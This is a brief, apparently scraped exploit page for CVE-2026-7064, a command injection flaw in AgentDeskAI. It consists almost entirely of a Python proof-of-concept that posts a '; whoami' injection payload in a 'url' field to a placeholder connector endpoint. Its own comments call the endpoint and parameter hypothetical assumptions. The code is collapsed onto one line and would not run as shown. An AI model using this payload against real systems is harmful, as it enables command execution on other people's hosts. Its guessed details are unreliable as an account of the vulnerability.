CVE-2026-7064 AgentDeskAI 命令注入漏洞

import requests # Target URL (Hypothetical based on vulnerability description) target_url = "http://target-ip:port/mcp-connector" # Malicious payload to execute 'whoami' command payload = "; whoami" # Data structure that might be vulnerable in browser-connector.ts # Example: sending a command or path parameter vulnerable_data = { "tool": "browse", "url": payload # Assuming this parameter is passed unsanitized to exec } try: response = requests.post(target_url, json=vulnerable_data) print("Status Code:", response.status_code) print("Response:", response.text) except Exception as e: print(f"An error occurred: {e}")